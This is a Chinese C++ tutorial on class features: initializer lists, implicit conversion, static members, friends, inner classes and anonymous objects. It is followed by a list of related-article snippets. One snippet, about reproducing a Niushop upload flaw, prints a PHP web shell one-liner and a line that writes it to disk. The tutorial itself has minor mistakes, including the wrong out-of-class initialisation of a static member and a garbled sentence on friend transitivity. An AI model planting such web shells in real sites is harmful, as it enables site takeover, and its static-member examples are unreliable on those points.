逻辑的诗:类与对象(下)

一、初始化列表

初始化列表的使用方式是以一个冒号开始,接着是一个以逗号分隔的数据成员列表,每个“成员变量”后面跟一个放在括号中的初始化值或表达式

每个成员变量在初始化列表中只能出现一次,语法理解上初始化列表可以认为是成员变量定义和初始化的地方;

引用成员变量,const成员变量,没有默认构造的类类型变量,必须放在初始化列表位置进行初始化,否则会编译报错。

class Time
{
public:
	Time(size_t hour)
		:_hour(hour)
	{}
private:
	size_t _hour;
};
class Date
{
public:
    //初始化列表:
	Date(size_t year,size_t month,size_t day,int x,int key)
		: _year(year)
		,_month(month)
		,_day(day)
		,_d(10)
		,_a(x)
		,_key(key)
	{
		cout << "Date()" << endl;
	}
private:
	size_t _year;
	size_t _month;
	size_t _day;

	Time _d;         //没有默认构造的类成员
	int& _a;         //引用
	const int _key;  //const成员
};

C++11支持在成员变量声明的位置给缺省值,这个缺省值主要是给没有显式在初始化列表初始化的成员使用的:

class Date
{
public:
//初始化列表:
	Date(int x,int key)
		:_d(10)
		,_a(x)
		,_key(key)
	{
		cout << "Date()" << endl;
	}
    void Print()
    {
        cout<<_year<<" "<<_month<<" "<<_day<< endl;
    }
private:
    //三个变量会默认用缺省值初始化:
	size_t _year=1999;
	size_t _month=12;
	size_t _day=1;

	Time _d;         //没有默认构造的类成员
	int& _a;         //引用
	const int _key;  //const成员
};
int main()
{
    int e = 12;
	Date d1(e, 15);
    //打印一下三个带缺省值成员
	d1.Print();
    return 0;
}

初始化列表中按照成员变量在类中声明顺序进行初始化,跟成员在初始化列表出现的先后顺序无关。建议声明顺序和初始化列表顺序保持一致。

尽量使用初始化列表初始化,因为那些你不在初始化列表初始化的成员也会走初始化列表,如果这个成员在声名位置给了缺省值,初始化列表会用这个缺省值初始化。如果你没有给缺省值,对于内置类型成员是否初始化取决于编译器,C++并没有规定。对于没有显式在初始化列表初始化的自定义类型成员会调用这个成员类型的默认构造函数,如果没有默认构造就会编译报错。

二、类型转换

C++支持内置类型隐式类型转换为类类型对象,需要有相关内置类型为参数的构造函数

构造函数前面加explicit就不再支持隐式类型转换。

class A
{
public:
	
	//这里对a2没有初始化默认使用缺省值

	//explicit A(int a1)
	A(int a1)
		:_a1(a1)
	{}

	//explicit A(int a1,int a2)
	A(int a1, int a2)
		:_a1(a1)
		, _a2(a2)
	{}
	void Print()
	{
		cout << _a1 << " " << _a2 << endl;
	}
private:
	int _a1=2;
	int _a2=1;
};


int main()
{
	
	//这里单参数先构造一个临时对象再拷贝ass编译器优化为利用参数直接构造
	A ass = 1;
	ass.Print();

	//C++11后才支持多参数转化:
	A arr = {8,9};
	arr.Print();
	return 0;
}

三、static成员

用static修饰的成员变量,称之为静态成员变量,静态成员变量一定要在类外进行初始化

静态成员变量不可以在声明位置给缺省值初始化,因为缺省值是构造函数初始化列表的,静态成员变量不属于某个对象,不走构造函数初始化列表

静态成员变量为所有类对象所共享,不属于某个具体的对象,不存在对象中,存放在静态区。

class A
{
public:
	A(int a=10)
		:_a(a)
	{}

	~A()
	{
		cout << "~A" << endl;
	}
private:
	int _a;
	//类中定义:
	static size_t _r;
};
//类外初始化:
static size_t _r = 32;

用static修饰的成员函数,称之为静态成员函数,静态成员函数没有this指针。静态成员函数中可以访问其他的静态成员,但是不可以访问非静态的,因为没有this指针。非静态的成员函数,可以访问任意的静态成员变量和静态成员函数。

class A
{
public:
	A(int a=10)
		:_a(a)
	{}

	~A()
	{
		cout << "~A" << endl;
	}
	//非静态成员函数可以访问非静态成员变量和静态成员变量:
	void Print()
	{
		cout << _a <<" "<< _r << endl;
	}
	//静态成员函数可以访问静态成员变量但不能访问非静态成员变量因为没有this指针:
	static void Printf()
	{
		cout << _r << endl;
	}
private:
	int _a;
	//类中定义:
	static size_t _r;
};
size_t A::_r = 32;

静态成员也是类的成员,收public、protect、private访问限定符的限制,突破类域就可以访问静态成员,可以通过类名: :静态成员或者 对象.静态成员来访问静态成员变量和静态成员函数。

int main()
{
	A ass(2);
    //访问A类的静态成员函数:
	ass.Printf(); 
}

四、友元

友元提供了一种突破访问限定符封装的方式,友元分为友元函数和友元类,在函数声明或者类声明的前面加friend,并且把友元声明放到一个类的里面。

friend 函数声明

friend 类声明

外部友元函数可以访问类的私有和保护成员,友元函数仅仅是一种声明,他不是类的成员函数

友元函数可以在类定义的任何地方声明,不受类访问限定符限制,而且一个函数可以是多个类的友元函数

//前置声明,否则A中的友元函数声明不认识B
class B;
class A
{

	friend void func(const A& a, const B& b);
public:
private :
	int _a;
};
class B
{
	friend void func(const A& a, const B& b);
public:
private:
	int _b;
};

void func(const A& a, const B& b)
{
	//因为func分别是A类与B类的友元函数所以可以访问私有成员:
	cout << a._a << " " << b._b;
}


int main()
{
	A as1;
	B as2;
	func(as1, as2);

	return 0;
}

友元类中的成员函数都可以是另一个类的友元函数,都可以访问另一个类中的私有和保护成员

友元类的关系是单向的,不具有交换性,比如A类是B类的友元,但是B类不是A类的友元;友元的关系也不可以传递,如果A是B类的友元,B是C类的友元,但是A不是B的友元。

友元虽然提供了便利但是会增加耦合度,破坏了封装,所以友元不易多用。

五、内部类

如果一个类定义在另一个类的内部,这个类就叫做内部类。内部类是一个独立的类,跟定义在全局相比,他只是受外部类类域限制和访问限定符限制,所以外部类定义的对象中不包含内部类

内部类默认是外部类的友元类

class A
{
private:
	static int a;
	int _c = 10;
public:
	//此时B类就是A类的内部类,B中的成员函数默认为A类的友元
	class B
	{
	public:
		void Print(const A& a)
		{
			cout << a._c << endl;
		}
	private:
		size_t b = 3;
		int* _str = nullptr;
	};
};

static int a = 10;
int main()
{
	A::B b;
	A a;
	b.Print(a);
	return 0;
}

内部类本质也是一种封装,当A类跟B类紧密相关,A类实现出来主要就是给B类使用,那么可以考虑将A类设计为B类的内部类,如果放到private/protected位置,那么A类就是B类的专属内部类,其他地方都用不了。

六、匿名对象

用类型(实参)定义出来的对象叫做匿名对象,相比我们之前定义的类型 对象名(实参)定义出来的叫有名对象。

匿名对象的生命周期只在当前一行,一般临时定义一个对象当前用一下即可,就可以定义匿名对象。

class A
{
public:
	A(int a=10)
		:_a(a)
	{}

	~A()
	{
		cout << "~A" << endl;
	}
private:
	int _a;
};

int main()
{
	//不能这么定义对象,因为编译器无法判断是函数声明还是对象定义:
	//A arr();

	//可以这样定义匿名对象:
	A();
	A(20);
    //这里我们不要退出main来观察匿名对象生命周期的特点
	while (1) {}
}

因为匿名对象生命周期只在当前一行 所以下一行它会自动调用析构函数:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/941829.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是EMI测试,如何进行EMI测试?

什么是EMI测试&#xff1f; EMI&#xff08;Electromagnetic Interference&#xff0c;电磁干扰&#xff09;是指电子设备自身工作过程中产生的电磁波对外发射&#xff0c;从而对设备其它部分或外部其它设备造成干扰&#xff0c;属于电磁兼容的一种。实际测试中&#xff0c;主…

KingbaseES(金仓数据库)入门学习

前言 金仓是一种多进程架构&#xff0c;每一个连接到服务器的会话&#xff0c;在服务器上面都会为该会话分配进程 图形化界面管理 新建数据库名 然后新建一个模式 再创建一个表 新建一个表&#xff0c;然后设置列名 记得要保存 查询数据 也可以新建数据表&#xff0c;用命令…

Burp Suite的安装

1.安装Java 8环境: https://www.java.com/ 2.安装Burp Suite: 3.导出证书&#xff0c;安装证书&#xff1a; 不安装的话无法抓包https协议 4.设置浏览器的代理为Burp Suite: 将浏览器代理端口改为Burp Suite的默认端口 ###我个人在安装中遇到的一些问题&#xff1a; #浏览…

利用Spring Cloud Gateway Predicate优化微服务路由策略

利用Spring Cloud Gateway Predicate优化微服务路由策略 一、Predicate简介 Spring Cloud Gateway 是 Spring 生态系统中用于构建 API 网关的框架&#xff0c;它基于 Project Reactor 和 Netty 构建&#xff0c;旨在提供一种高效且灵活的方式来处理 HTTP 请求和响应。 Spring …

【Java基础面试题035】什么是Java泛型的上下界限定符?

回答重点 Java泛型的上下界限定符用于对泛型类型参数进行范围限制&#xff0c;主要有上界限定符和下届限定符。 1&#xff09;上界限定符 (? extends T)&#xff1a; 定义&#xff1a;通配符?的类型必须是T或者T的子类&#xff0c;保证集合元素一定是T或者T的子类作用&…

用套接字的UDP,TCP知道什么是HTTP吗?

文章目录 UDP和TCP七层网络架构Omnipeek抓包分析举例图片备注code参考code HTTP协议的构成 UDP和TCP UDP&#xff08;User Datagram Protocol&#xff0c;用户数据报协议&#xff09; 和 TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09; 是…

Apache Log4j漏洞复现

所用环境 宝塔云服务器 log4j2 是Apache的⼀个java日志框架&#xff0c;我们借助它进行日志相关操作管理&#xff0c;然而在2021年末log4j2爆出了远程代码执行漏洞&#xff0c;属于严重等级的漏洞。 apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过…

苍穹外卖-day05redis 缓存的学习

苍穹外卖-day05 课程内容 Redis入门Redis数据类型Redis常用命令在Java中操作Redis店铺营业状态设置 学习目标 了解Redis的作用和安装过程 掌握Redis常用的数据类型 掌握Redis常用命令的使用 能够使用Spring Data Redis相关API操作Redis 能够开发店铺营业状态功能代码 功能实…

CV-OCR经典论文解读|An Empirical Study of Scaling Law for OCR/OCR 缩放定律的实证研究

论文标题 An Empirical Study of Scaling Law for OCR OCR 缩放定律的实证研究 论文链接&#xff1a; An Empirical Study of Scaling Law for OCR论文下载 论文作者 Miao Rang, Zhenni Bi, Chuanjian Liu, Yunhe Wang, Kai Han 内容简介 本论文在光学字符识别&#xf…

PTA数据结构题目:链表操作集合

寻找结点 插入结点 错误分析 while (prev ! NULL && prev->Next ! P) 为什么我写成 while (prev->Next ! P && prev ! NULL) 的时候会发生段错误&#xff0c;这两种写法逻辑上不是一样的吗&#xff1f; 野指针 逻辑顺序导致的潜在风险 在 C 语言中&am…

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考&#xff1a;网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误&#xff0c;错误编号&#xff1a;-22025 TP-LINK 认证界面地址&#xff1a;https://realnam…

Java 小白入门必备知识点

11.我们发现现在有两个x&#xff0c;一个是成员变量&#xff0c;一个是局部变量&#xff0c;在sum方法中为了区分两个s&#xff0c;我们给成员变量前加上this以此来区分成员变量和局部变量 12.成员方法:在java中&#xff0c;必须通过方法才能完成对类和对象的属性操作&#xf…

gitlab代码推送

点击这个√ 修改的文件全部选上 填好提交的名称 点击commit 选取提交的 gitlab 库 点击Push

vscode添加全局宏定义

利用vscode编辑代码时&#xff0c;设置了禁用非活动区域着色后&#xff0c;在一些编译脚本中配置的宏又识别不了 遇到#ifdef包住的代码就会变暗色&#xff0c;想查看代码不是很方便。如下图&#xff1a; 一 解决&#xff1a; 在vscode中添加全局宏定义。 二 步骤&#xff1a…

【电路设计】LDO旁路电容的选择

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时&#xff0c;也能帮助其他需要参考的朋友。如有谬误&#xff0c;欢迎大家进行指正。 一、引言 虽然人们普遍认为电容是解决噪声相关问题的灵丹妙药&#xff0c;但是电容的价值并不仅限于此。设计人员常常只想到…

生产看板管理系统涵盖哪些方面

嘿&#xff0c;各位搞生产管理的朋友&#xff0c;肯定都碰到过些麻烦事儿吧。我就寻思着&#xff0c;能不能弄出个 “明明白白” 的工作场地呢&#xff1f;让员工和管理人员都能随时查查生产进度&#xff0c;一发现生产里有啥问题就能立马知道。 生产进度不好追踪生产过程不清…

Python|Pyppeteer实现全自动化触发reCaptcha验证码(28)

前言 本文是该专栏的第28篇,结合优质项目案例持续分享Pyppeteer的干货知识,记得关注。 针对近期多位同学,询问如何自动化触发“reCaptcha验证码”的问题。笔者在本文,将结合实战项目完整代码进行详细说明。 对“reCaptcha验证码”感兴趣的同学,千万别错过。 废话不多说,…

SpringBoot介绍以及基本注解和应用

一.Spring Boot 简介&#xff08;脚手架&#xff09; 1.简介 简化Spring应用开发的一个框架&#xff1b; 整个Spring技术栈的一个大整合&#xff1b; J2EE开发的一站式解决方案&#xff1b; 优点&#xff1a;快速创建独立运行的spring项目以及与主流框架集成 使用嵌入式的S…

Niushop开源商城(漏洞复现)

文件上传漏洞 注册一个账号后登录 在个人中心修改个人头像 选择我们的图片马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?&…

容器技术所涉及Linux内核关键技术

容器技术所涉及Linux内核关键技术 一、容器技术前世今生 1.1 1979年 — chroot 容器技术的概念可以追溯到1979年的UNIX chroot。它是一套“UNIX操作系统”系统&#xff0c;旨在将其root目录及其它子目录变更至文件系统内的新位置&#xff0c;且只接受特定进程的访问。这项功…